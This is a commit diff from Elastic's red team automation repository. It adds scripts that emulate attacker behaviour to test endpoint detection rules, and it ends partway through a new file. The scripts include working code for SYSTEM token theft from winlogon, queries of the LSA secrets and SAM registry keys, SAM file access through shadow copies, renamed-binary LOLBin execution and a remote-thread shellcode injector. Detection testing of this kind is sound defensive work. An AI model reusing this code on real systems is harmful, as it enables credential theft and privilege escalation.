[New RTA] Endpoint Rules (#2788)
* [New RTA] Endpoint Rules Suspicious Access to LSA Secrets Registry Security Account Manager (SAM) Registry Access Privilege Escalation via EXTENDED STARTUPINFO Potential Privilege Escalation via Token Impersonation Suspicious Impersonation as Trusted Installer NTDLL Loaded from an Unusual Path Sensitive File Access - Unattended Panther Potential Discovery of Windows Credential Manager Store Potential Discovery of DPAPI Master Keys Potential Process Creation via ShellCode * Update evasion_ntdll_from_unusual_path.py * Update credaccess_reg_query_privesc_token_manip.py * Create shellcode_load_ws2_32_unbacked.py * Update shellcode_load_ws2_32_unbacked.py * fix import * Update credaccess_reg_query_privesc_token_manip.py * Update shellcode_load_ws2_32_unbacked.py * Update shellcode_load_ws2_32_unbacked.py * Update shellcode_load_ws2_32_unbacked.py * Update shellcode_load_ws2_32_unbacked.py * Update shellcode_winexec_calc.py * DLL Side Loading via a Copied Microsoft Executable * Update sideload_msbin_faultrep.py * DLL SideLoad via a Microsoft Signed Binary * Update sideload_msbin_faultrep.py * C2 via ISO file * ++ * persistence from ISO * Update exec_persistence_from_iso.py * replaced win32con with actual static values * Update sensitive_file_access.py * Update credaccess_reg_query_privesc_token_manip.py * Update ExecFromISOFile.ps1 * Suspicious ImageLoad from an ISO Mounted Device * Update execution_iso_dll_rundll32.py * Update c2_dns_from_iso.py * Update shellcode_load_ws2_32_unbacked.py * Update shellcode_load_ws2_32_unbacked.py * Update impersonate_trusted_installer.py * Library Loaded via a Callback Function * Update evasion_loadlib_via_callback.py * ++ * added ntds.dit access * Security Account Manager (SAM) File Access * Update sensitive_file_access.py * Update sensitive_file_access.py * Update sensitive_file_access.py * Suspicious Execution via DotNet Remoting * Update evasion_addinproc_certoc.py * Update evasion_addinproc_certoc_odbc.py * Update evasion_addinproc_certoc_odbc_gfxdwn.py * Update evasion_addinproc_certoc_odbc_gfxdwn.py * ++ * Update evasion_unhook_ldrloaddll.py * added ETW and AMSI patching * Update evasion_oversized_dll_load.py * Update sensitive_file_access.py added technique ids * Update c2_dns_from_iso.py fixed endpoint rule.ids array * moved getppid to common.py * moved impersonate_system to common * moved inject to common.py * Update credaccess_sam_from_vss.py * Update evasion_addinproc_certoc_odbc_gfxdwn.py * Update evasion_loadlib_via_callback.py * Update evasion_oversized_dll_load.py * Update evasion_patch_etw_amsi.py * Update execution_iso_dll_sideload.py * Update evasion_unhook_ldrloaddll.py * Update exec_persistence_from_iso.py * Update execution_iso_dll_rundll32.py * Update sensitive_file_access.py * Update shellcode_load_ws2_32_unbacked.py * ++ * Update rta/c2_dns_from_iso.py Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com> * Update rta/common.py Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com> * Update rta/common.py Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com> * Update rta/credaccess_reg_query_privesc_token_manip.py Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com> * Update rta/credaccess_sam_from_vss.py Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com> * Update rta/common.py Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com> * Update rta/credaccess_sam_from_vss.py Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com> * Update shellcode_winexec_calc.py * Update shellcode_load_ws2_32_unbacked.py * Update c2_dns_from_iso.py * Update evasion_oversized_dll_load.py * Update rta/credaccess_sam_from_vss.py Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com> * Update evasion_oversized_dll_load.py * Update rta/credaccess_sam_from_vss.py Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com> * Update credaccess_sam_from_vss.py * Update c2_dns_from_iso.py * ++ * ++ * ++ * Update impersonate_trusted_installer.py * Update evasion_patch_etw_amsi.py * Update credaccess_reg_query_privesc_token_manip.py * ++ * Update evasion_ntdll_from_unusual_path.py * Update evasion_oversized_dll_load.py * ++ * Update common.py * Update ExecFromISOFile.ps1 * Update evasion_ntdll_from_unusual_path.py * add cpp source files * Update rta/common.py Co-authored-by: eric-forte-elastic <119343520+eric-forte-elastic@users.noreply.github.com> * Update rta/src/LoadLib-Callback64.cpp Co-authored-by: eric-forte-elastic <119343520+eric-forte-elastic@users.noreply.github.com> * Update rta/src/rta_unhook_ldrload.cpp Co-authored-by: eric-forte-elastic <119343520+eric-forte-elastic@users.noreply.github.com> * Update rta/impersonate_trusted_installer.py Co-authored-by: eric-forte-elastic <119343520+eric-forte-elastic@users.noreply.github.com> --------- Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com> Co-authored-by: eric-forte-elastic <119343520+eric-forte-elastic@users.noreply.github.com> Co-authored-by: Mika Ayenson <Mikaayenson@users.noreply.github.com>
This commit is contained in:
@@ -0,0 +1,16 @@
|
||||
function ExecFromISO {
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter()]
|
||||
[string] $ISOFile,
|
||||
[string] $procname,
|
||||
[string] $cmdline
|
||||
)
|
||||
$MountMeta = Mount-DiskImage -ImagePath $ISOFile -StorageType ISO -Access ReadOnly
|
||||
$DriveLetter = ($MountMeta | Get-Volume).DriveLetter
|
||||
if ($cmdline) {Start-Process -FilePath "$($DriveLetter):\$($procname)" -ArgumentList "$($cmdline)";}
|
||||
else {Start-Process -FilePath "$($DriveLetter):\$($procname)" -WorkingDirectory "$($DriveLetter):\"}
|
||||
Start-Sleep -s 2
|
||||
Stop-process -name $procname -Force -ErrorAction ignore
|
||||
Dismount-DiskImage -ImagePath $ISOFile | Out-Null
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,44 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
import os
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="ba802fb2-f183-420e-947m-da5ce0235d123",
|
||||
platforms=["windows"],
|
||||
siem=[],
|
||||
endpoint=[{"rule_id": "3bc98de7-3349-43ac-869c-58357ae2aac0", "rule_name": "Suspicious DNS Query from Mounted Virtual Disk"},
|
||||
{"rule_id": "88f6c3d4-112e-4fad-b3ef-33095c954b63", "rule_name": "Suspicious DNS Query to Free SSL Certificate Domains"},
|
||||
{"rule_id": "d37ffe39-8e58-460f-938d-3bafbae60711", "rule_name": "DNS Query to Suspicious Top Level Domain"}],
|
||||
techniques=["T1071", "T1204", "T1071.004"],
|
||||
)
|
||||
|
||||
# iso contains ping.exe to test for rules looking for suspicious DNS queries from mounted ISO file
|
||||
ISO = common.get_path("bin", "ping_dns_from_iso.iso")
|
||||
PROC = 'ping.exe'
|
||||
|
||||
# ps script to mount, execute a file and unmount ISO device
|
||||
PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1")
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
|
||||
def main():
|
||||
if os.path.exists(ISO) and os.path.exists(PS_SCRIPT):
|
||||
print(f'[+] - ISO File {ISO} will be mounted and executed via powershell')
|
||||
|
||||
# 3 unique domains to trigger 3 unique rules looking for dns events via a process running from a mounted ISO file
|
||||
for domain in ["Abc.xyz", "content.dropboxapi.com", "x1.c.lencr.org"] :
|
||||
|
||||
# import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute and -cmdline for arguments
|
||||
# command = "powershell.exe -ExecutionPol Bypass -c import-module " + psf + '; ExecFromISO -ISOFile ' + ISO + ' -procname '+ PROC + ' -cmdline ' + domain + ';'
|
||||
command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC} -cmdline {domain};"
|
||||
common.execute(command)
|
||||
|
||||
print(f'[+] - RTA Done!')
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
+141
@@ -24,6 +24,8 @@ from pathlib import Path
|
||||
from typing import Iterable, Optional, Union
|
||||
|
||||
|
||||
|
||||
|
||||
from http.server import HTTPServer, SimpleHTTPRequestHandler
|
||||
|
||||
long_t = type(1 << 63)
|
||||
@@ -67,6 +69,60 @@ else:
|
||||
if CURRENT_OS == WINDOWS:
|
||||
CMD_PATH = os.environ.get("COMSPEC")
|
||||
POWERSHELL_PATH = "C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
|
||||
import ctypes
|
||||
import win32process
|
||||
import win32file
|
||||
import win32service
|
||||
import win32api, win32security
|
||||
from ctypes import byref, windll, wintypes
|
||||
from ctypes.wintypes import BOOL
|
||||
from ctypes.wintypes import DWORD
|
||||
from ctypes.wintypes import HANDLE
|
||||
from ctypes.wintypes import LPVOID
|
||||
from ctypes.wintypes import LPCVOID
|
||||
# Windows related constants and classes
|
||||
TH32CS_SNAPPROCESS = 0x00000002
|
||||
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
|
||||
TOKEN_DUPLICATE = 0x0002
|
||||
TOKEN_ALL_ACCESS = 0xf00ff
|
||||
MAX_PATH = 260
|
||||
BOOL = ctypes.c_int
|
||||
DWORD = ctypes.c_uint32
|
||||
HANDLE = ctypes.c_void_p
|
||||
LONG = ctypes.c_int32
|
||||
NULL_T = ctypes.c_void_p
|
||||
SIZE_T = ctypes.c_uint
|
||||
TCHAR = ctypes.c_char
|
||||
USHORT = ctypes.c_uint16
|
||||
UCHAR = ctypes.c_ubyte
|
||||
ULONG = ctypes.c_uint32
|
||||
|
||||
class PROCESSENTRY32(ctypes.Structure):
|
||||
_fields_ = [
|
||||
('dwSize', DWORD),
|
||||
('cntUsage', DWORD),
|
||||
('th32ProcessID', DWORD),
|
||||
('th32DefaultHeapID', NULL_T),
|
||||
('th32ModuleID', DWORD),
|
||||
('cntThreads', DWORD),
|
||||
('th32ParentProcessID', DWORD),
|
||||
('pcPriClassBase', LONG),
|
||||
('dwFlags', DWORD),
|
||||
('szExeFile', TCHAR * MAX_PATH)
|
||||
]
|
||||
|
||||
LPCSTR = LPCTSTR = ctypes.c_char_p
|
||||
LPDWORD = PDWORD = ctypes.POINTER(DWORD)
|
||||
|
||||
class _SECURITY_ATTRIBUTES(ctypes.Structure):
|
||||
_fields_ = [('nLength', DWORD),
|
||||
('lpSecurityDescriptor', LPVOID),
|
||||
('bInheritHandle', BOOL), ]
|
||||
|
||||
SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES
|
||||
LPSECURITY_ATTRIBUTES = ctypes.POINTER(_SECURITY_ATTRIBUTES)
|
||||
LPTHREAD_START_ROUTINE = LPVOID
|
||||
|
||||
else:
|
||||
CMD_PATH = "/bin/sh"
|
||||
POWERSHELL_PATH = None
|
||||
@@ -669,3 +725,88 @@ def print_file(path):
|
||||
print(f.read().rstrip())
|
||||
|
||||
print("")
|
||||
|
||||
|
||||
# return pid by process.name
|
||||
@requires_os('windows')
|
||||
def getppid(pname):
|
||||
CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot
|
||||
Process32First = ctypes.windll.kernel32.Process32First
|
||||
Process32Next = ctypes.windll.kernel32.Process32Next
|
||||
CloseHandle = ctypes.windll.kernel32.CloseHandle
|
||||
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||
pe32 = PROCESSENTRY32()
|
||||
pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
|
||||
current_pid = os.getpid()
|
||||
|
||||
|
||||
if Process32First(hProcessSnap, ctypes.byref(pe32)) == 0:
|
||||
print(f"[x] - Failed getting first process.")
|
||||
return
|
||||
|
||||
while True:
|
||||
procname = pe32.szExeFile.decode("utf-8").lower()
|
||||
if pname.lower() in procname:
|
||||
CloseHandle(hProcessSnap)
|
||||
return pe32.th32ProcessID
|
||||
if not Process32Next(hProcessSnap, ctypes.byref(pe32)):
|
||||
CloseHandle(hProcessSnap)
|
||||
return None
|
||||
|
||||
@requires_os('windows')
|
||||
def impersonate_system():
|
||||
try:
|
||||
hp = win32api.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, getppid("winlogon.exe"))
|
||||
th = win32security.OpenProcessToken(hp, TOKEN_DUPLICATE)
|
||||
new_tokenh = win32security.DuplicateTokenEx(th, 2, TOKEN_ALL_ACCESS , win32security.TokenImpersonation , win32security.SECURITY_ATTRIBUTES())
|
||||
win32security.ImpersonateLoggedOnUser(new_tokenh)
|
||||
print(f"[+] - Impersonated System Token via Winlogon")
|
||||
win32api.CloseHandle(hp)
|
||||
except Exception as e:
|
||||
print(f"[x] - Failed To Impersonate System Token via Winlogon")
|
||||
|
||||
@requires_os('windows')
|
||||
def Inject(path, shellcode):
|
||||
import ctypes, time
|
||||
import ctypes.wintypes
|
||||
|
||||
from ctypes.wintypes import BOOL
|
||||
from ctypes.wintypes import DWORD
|
||||
from ctypes.wintypes import HANDLE
|
||||
from ctypes.wintypes import LPVOID
|
||||
from ctypes.wintypes import LPCVOID
|
||||
import win32process
|
||||
# created suspended process
|
||||
info = win32process.CreateProcess(None, path, None, None, False, 0x04, None, None, win32process.STARTUPINFO())
|
||||
page_rwx_value = 0x40
|
||||
process_all = 0x1F0FFF
|
||||
memcommit = 0x00001000
|
||||
|
||||
if info[0].handle > 0 :
|
||||
print(f"[+] - Created {path} Suspended")
|
||||
shellcode_length = len(shellcode)
|
||||
process_handle = info[0].handle # phandle
|
||||
VirtualAllocEx = windll.kernel32.VirtualAllocEx
|
||||
VirtualAllocEx.restype = LPVOID
|
||||
VirtualAllocEx.argtypes = (HANDLE, LPVOID, DWORD, DWORD, DWORD)
|
||||
|
||||
WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory
|
||||
WriteProcessMemory.restype = BOOL
|
||||
WriteProcessMemory.argtypes = (HANDLE, LPVOID, LPCVOID, DWORD, DWORD)
|
||||
CreateRemoteThread = ctypes.windll.kernel32.CreateRemoteThread
|
||||
CreateRemoteThread.restype = HANDLE
|
||||
CreateRemoteThread.argtypes = (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, LPTHREAD_START_ROUTINE, LPVOID, DWORD, DWORD)
|
||||
|
||||
# allocate RWX memory
|
||||
lpBuffer = VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value)
|
||||
print(f'[+] - Allocated remote memory at {hex(lpBuffer)}')
|
||||
|
||||
# write shellcode in allocated memory
|
||||
res = WriteProcessMemory(process_handle, lpBuffer, shellcode, shellcode_length, 0)
|
||||
if res > 0 :
|
||||
print('[+] - Shellcode written.')
|
||||
|
||||
# create remote thread to start shellcode execution
|
||||
CreateRemoteThread(process_handle, None, 0, lpBuffer, 0, 0, 0)
|
||||
print('[+] - Shellcode Injection, done.')
|
||||
|
||||
@@ -0,0 +1,133 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="59329aa6-852a-44d0-9b24-322fe4fbdad0",
|
||||
platforms=["windows"],
|
||||
endpoint=[
|
||||
{'rule_id': 'c5ee8453-bc89-42e7-a414-1ba4bec85119', 'rule_name': 'Suspicious Access to LSA Secrets Registry'},
|
||||
{'rule.id': 'b6e8c090-f0ec-4c4c-af00-55ac2a9f9b41', 'rule_name': 'Security Account Manager (SAM) Registry Access'},
|
||||
{'rule.id': '2afd9e7f-99e0-4a4d-a6e3-9e9db730f63b', 'rule_name': 'Privilege Escalation via EXTENDED STARTUPINFO'},
|
||||
{'rule.id': '46de65b8-b873-4ae7-988d-12dcdc6fa605', 'rule_name': 'Potential Privilege Escalation via Token Impersonation'},
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1134", "T1003"],
|
||||
)
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
def main():
|
||||
import ctypes
|
||||
from ctypes import byref, windll, wintypes
|
||||
|
||||
hprocess = wintypes.HANDLE()
|
||||
hsystem_token = wintypes.HANDLE()
|
||||
hsystem_token_dup = wintypes.HANDLE()
|
||||
|
||||
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
|
||||
TOKEN_IMPERSONATE = 0x00000004
|
||||
TOKEN_DUPLICATE = 0x00000002
|
||||
SecurityImpersonation = 0x2
|
||||
TokenPrimary = 0x1
|
||||
LOGON_WITH_PROFILE = 0x1
|
||||
TOKEN_ALL_ACCESS = 0xf01ff
|
||||
LPBYTE = ctypes.POINTER(wintypes.BYTE)
|
||||
|
||||
class PROCESS_INFORMATION(ctypes.Structure):
|
||||
_pack_ = 1
|
||||
_fields_ = [
|
||||
('hProcess', wintypes.HANDLE),
|
||||
('hThread', wintypes.HANDLE),
|
||||
('dwProcessId', wintypes.DWORD),
|
||||
('dwThreadId', wintypes.DWORD),
|
||||
]
|
||||
|
||||
class STARTUPINFO(ctypes.Structure):
|
||||
__slots__ = ()
|
||||
_fields_ = (('cb', wintypes.DWORD),
|
||||
('lpReserved', wintypes.LPWSTR),
|
||||
('lpDesktop', wintypes.LPWSTR),
|
||||
('lpTitle', wintypes.LPWSTR),
|
||||
('dwX', wintypes.DWORD),
|
||||
('dwY', wintypes.DWORD),
|
||||
('dwXSize', wintypes.DWORD),
|
||||
('dwYSize', wintypes.DWORD),
|
||||
('dwXCountChars', wintypes.DWORD),
|
||||
('dwYCountChars', wintypes.DWORD),
|
||||
('dwFillAttribute', wintypes.DWORD),
|
||||
('dwFlags', wintypes.DWORD),
|
||||
('wShowWindow', wintypes.WORD),
|
||||
('cbReserved2', wintypes.WORD),
|
||||
('lpReserved2', LPBYTE),
|
||||
('hStdInput', wintypes.HANDLE),
|
||||
('hStdOutput', wintypes.HANDLE),
|
||||
('hStdError', wintypes.HANDLE))
|
||||
|
||||
OpenProcess = windll.kernel32.OpenProcess
|
||||
OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD]
|
||||
OpenProcess.restype = wintypes.HANDLE
|
||||
|
||||
OpenProcessToken = windll.kernel32.OpenProcessToken
|
||||
OpenProcessToken.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPCVOID]
|
||||
OpenProcessToken.restype = wintypes.BOOL
|
||||
|
||||
DuplicateTokenEx = windll.advapi32.DuplicateTokenEx
|
||||
DuplicateTokenEx.restype = wintypes.BOOL
|
||||
DuplicateTokenEx.argtypes = [
|
||||
wintypes.HANDLE, # TokenHandle
|
||||
wintypes.DWORD, # dwDesiredAccess
|
||||
wintypes.LPCVOID, # lpTokenAttributes
|
||||
wintypes.DWORD, # ImpersonationLevel
|
||||
wintypes.DWORD, # TokenType
|
||||
wintypes.HANDLE, # phNewToken
|
||||
]
|
||||
|
||||
CreateProcessWithTokenW = windll.advapi32.CreateProcessWithTokenW
|
||||
CreateProcessWithTokenW.argtypes = [
|
||||
wintypes.HANDLE, # hToken
|
||||
wintypes.DWORD, # dwLogonFlags
|
||||
wintypes.LPCWSTR, # lpApplicationName
|
||||
wintypes.LPCVOID, # lpCommandLine
|
||||
wintypes.DWORD, # dwCreationFlags
|
||||
wintypes.LPCVOID, # lpEnvironment
|
||||
wintypes.LPCVOID, # lpCurrentDirectory
|
||||
wintypes.LPCVOID, # lpStartupInfo
|
||||
wintypes.LPCVOID, # lpProcessInformation
|
||||
]
|
||||
CreateProcessWithTokenW.restype = wintypes.BOOL
|
||||
|
||||
CloseHandle = windll.kernel32.CloseHandle
|
||||
CloseHandle.argtypes = [wintypes.HANDLE]
|
||||
CloseHandle.restype = wintypes.BOOL
|
||||
|
||||
# Duplicate winlogon.exe System Token
|
||||
hprocess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, common.getppid("winlogon.exe"))
|
||||
OpenProcessToken(hprocess, TOKEN_DUPLICATE | TOKEN_IMPERSONATE, byref(hsystem_token))
|
||||
DuplicateTokenEx(hsystem_token, TOKEN_ALL_ACCESS, 0, SecurityImpersonation, TokenPrimary, byref(hsystem_token_dup))
|
||||
|
||||
# create process with winlogon system token duplicate to query specific sensitive registry keys using reg.exe
|
||||
process_info = PROCESS_INFORMATION()
|
||||
startup_info = STARTUPINFO()
|
||||
cmdline = u" /c reg.exe query hklm\\security\\policy\\secrets && reg.exe query hklm\\SAM\\SAM\\Domains\\Account && reg.exe query hklm\\SYSTEM\\ControlSet001\\Control\\Lsa\\JD && reg.exe query hklm\\SYSTEM\\ControlSet001\\Control\\Lsa\\Skew1"
|
||||
res = CreateProcessWithTokenW(hsystem_token_dup, LOGON_WITH_PROFILE, u"C:\\Windows\\System32\\cmd.exe", cmdline, 0, 0, 0, byref(startup_info), byref (process_info))
|
||||
|
||||
# check process creation result
|
||||
if res == 1 :
|
||||
common.log("Executed RTA")
|
||||
else :
|
||||
common.log("Failed to execute RTA")
|
||||
|
||||
# Close all the handles
|
||||
common.log("Closed all Handles")
|
||||
CloseHandle(hsystem_token_dup)
|
||||
CloseHandle(hsystem_token)
|
||||
CloseHandle(hprocess)
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,60 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="b78f0255-3b97-4e39-8857-ec74d09e36ba",
|
||||
platforms=["windows"],
|
||||
siem=[],
|
||||
endpoint=[{'rule_id': 'dc27190a-688b-4f9b-88f0-1f13deccd67f', 'rule_name': 'Security Account Manager (SAM) File Access'}],
|
||||
techniques=['T1003', 'T1003.002'],
|
||||
)
|
||||
|
||||
def get_vss_list():
|
||||
import win32com.client
|
||||
wcd = win32com.client.Dispatch("WbemScripting.SWbemLocator")
|
||||
wmi = wcd.ConnectServer(".","root\cimv2")
|
||||
obj = wmi.ExecQuery("SELECT * FROM Win32_ShadowCopy")
|
||||
return [o.DeviceObject for o in obj]
|
||||
|
||||
def vss_create():
|
||||
import win32com.client
|
||||
wmi=win32com.client.GetObject("winmgmts:\\\\.\\root\\cimv2:Win32_ShadowCopy")
|
||||
createmethod = wmi.Methods_("Create")
|
||||
createparams = createmethod.InParameters
|
||||
createparams.Properties_[1].value="c:\\"
|
||||
results = wmi.ExecMethod_("Create", createparams)
|
||||
return results.Properties_[1].value
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
def main():
|
||||
import win32file
|
||||
vss_list = get_vss_list()
|
||||
if len(vss_list) > 0 :
|
||||
sam_path = f"{vss_list[0]}\\Windows\\System32\\config\\SAM"
|
||||
print(f'[+] - Attempting to Open {sam_path}')
|
||||
hf = win32file.CreateFile(sam_path, win32file.GENERIC_READ, 0, None, 3, 0, None)
|
||||
if (hf):
|
||||
print(f'[+] - RTA Done!')
|
||||
win32file.CloseHandle(hf)
|
||||
else :
|
||||
print(f'[x] - RTA Failed :(')
|
||||
|
||||
else :
|
||||
vss_list = vss_create()
|
||||
sam_path = f"{vss_list[0]}\\Windows\\System32\\config\\SAM"
|
||||
hf = win32file.CreateFile(sam_path, win32file.GENERIC_READ, 0, None, 3, 0, None)
|
||||
if (hf):
|
||||
print(f'[+] - RTA Done!')
|
||||
win32file.CloseHandle(hf)
|
||||
else :
|
||||
print(f'[x] - RTA Failed :(')
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,50 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="6e84852e-b8a2-4158-971e-c5148d969d2a",
|
||||
platforms=["windows"],
|
||||
siem=[],
|
||||
endpoint=[
|
||||
{'rule_id': '5bc7a8f8-4de8-4af4-bea4-cba538e54a5c', 'rule_name': 'Suspicious Execution via DotNet Remoting'},
|
||||
{'rule_id': '6fcbf73f-4413-4689-be33-61b0d6bd0ffc', 'rule_name': 'Suspicious ImageLoad via Windows CertOC'},
|
||||
{'rule_id': '1faebe83-38d7-4390-b6bd-9c6b851e47c4', 'rule_name': 'Suspicious ImageLoad via ODBC Driver Configuration Program'},
|
||||
{'rule_id': 'aafe3c78-15d9-4853-a602-663b8fada5b5', 'rule_name': 'Potential Evasion via Intel GfxDownloadWrapper'}],
|
||||
techniques=['T1218', 'T1218.008', 'T1105'],
|
||||
)
|
||||
EXE_FILE = common.get_path("bin", "renamed_posh.exe")
|
||||
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
def main():
|
||||
addinproc = "C:\\Users\\Public\\AddInProcess.exe"
|
||||
certoc = "C:\\Users\\Public\\CertOc.exe"
|
||||
odbc = "C:\\Users\\Public\\odbcconf.exe"
|
||||
gfxdwn = "C:\\Users\\Public\\GfxDownloadWrapper.exe"
|
||||
|
||||
common.copy_file(EXE_FILE, addinproc)
|
||||
common.copy_file(EXE_FILE, certoc)
|
||||
common.copy_file(EXE_FILE, odbc)
|
||||
common.copy_file(EXE_FILE, gfxdwn)
|
||||
|
||||
# Execute command
|
||||
common.execute([addinproc, "/guid:32a91b0f-30cd-4c75-be79-ccbd6345de99", "/pid:123"], timeout=10)
|
||||
common.execute([certoc, "-LoadDLL"], timeout=10)
|
||||
common.execute([odbc, "-a", "-f"], timeout=10)
|
||||
common.execute([gfxdwn, "run", "2", "0"], timeout=10)
|
||||
|
||||
# Cleanup
|
||||
common.remove_file(addinproc)
|
||||
common.remove_file(certoc)
|
||||
common.remove_file(odbc)
|
||||
common.remove_file(gfxdwn)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,33 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
import os
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="ae4b2807-3a16-485e-bb69-5d36bbe9b7d1",
|
||||
platforms=["windows"],
|
||||
siem=[],
|
||||
endpoint=[{"rule_id": "fae9f554-d3bc-4d48-8863-54d0dd68db54", "rule_name": "Library Loaded via a CallBack Function"}],
|
||||
techniques=["T1574"],
|
||||
)
|
||||
|
||||
# testing PE that will load ws2_32 and dnsapi.dll via a Callback function using RtlQueueWorkItem and RtlRegisterWait
|
||||
# source code - https://gist.github.com/joe-desimone/0b2bb00eca4c522ba0bd5541a6f3528b
|
||||
BIN = common.get_path("bin", "LoadLib-Callback64.exe")
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
|
||||
def main():
|
||||
if os.path.exists(BIN) :
|
||||
print(f'[+] - File {BIN} will be executed')
|
||||
common.execute(BIN)
|
||||
# cleanup
|
||||
common.execute(["taskkill", "/f", "/im", "LoadLib-Callback64.exe"])
|
||||
print(f'[+] - RTA Done!')
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -0,0 +1,40 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="e6d5315f-4c70-4788-8564-e7c23786a4d0",
|
||||
platforms=["windows"],
|
||||
endpoint=[{"rule_name": "NTDLL Loaded from an Unusual Path", "rule_id": "3205274e-7eb0-4765-a712-5783361091ae"}],
|
||||
siem=[],
|
||||
techniques=["T1055"],
|
||||
)
|
||||
|
||||
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
def main():
|
||||
import win32file, win32api, os, time
|
||||
from os import path
|
||||
win32file.CopyFile(path.expandvars("%systemroot%\\system32\\ntdll.dll"), path.expandvars("%localappdata%\\Temp\\notntdll.dll"), 0)
|
||||
if os.path.exists(path.expandvars("%localappdata%\\Temp\\notntdll.dll")):
|
||||
print(f"[+] - NTDLL copied")
|
||||
r = win32api.LoadLibrary(path.expandvars("%localappdata%\\Temp\\notntdll.dll"))
|
||||
if r > 0 :
|
||||
print(f"[+] - NTDLL copy loaded")
|
||||
time.sleep(1)
|
||||
win32api.FreeLibrary(r)
|
||||
win32file.DeleteFile(path.expandvars("%localappdata%\\Temp\\notntdll.dll"))
|
||||
print(f'[+] - NTDLL copy deleted')
|
||||
else :
|
||||
print('f[+] - Failed to load ntdll')
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
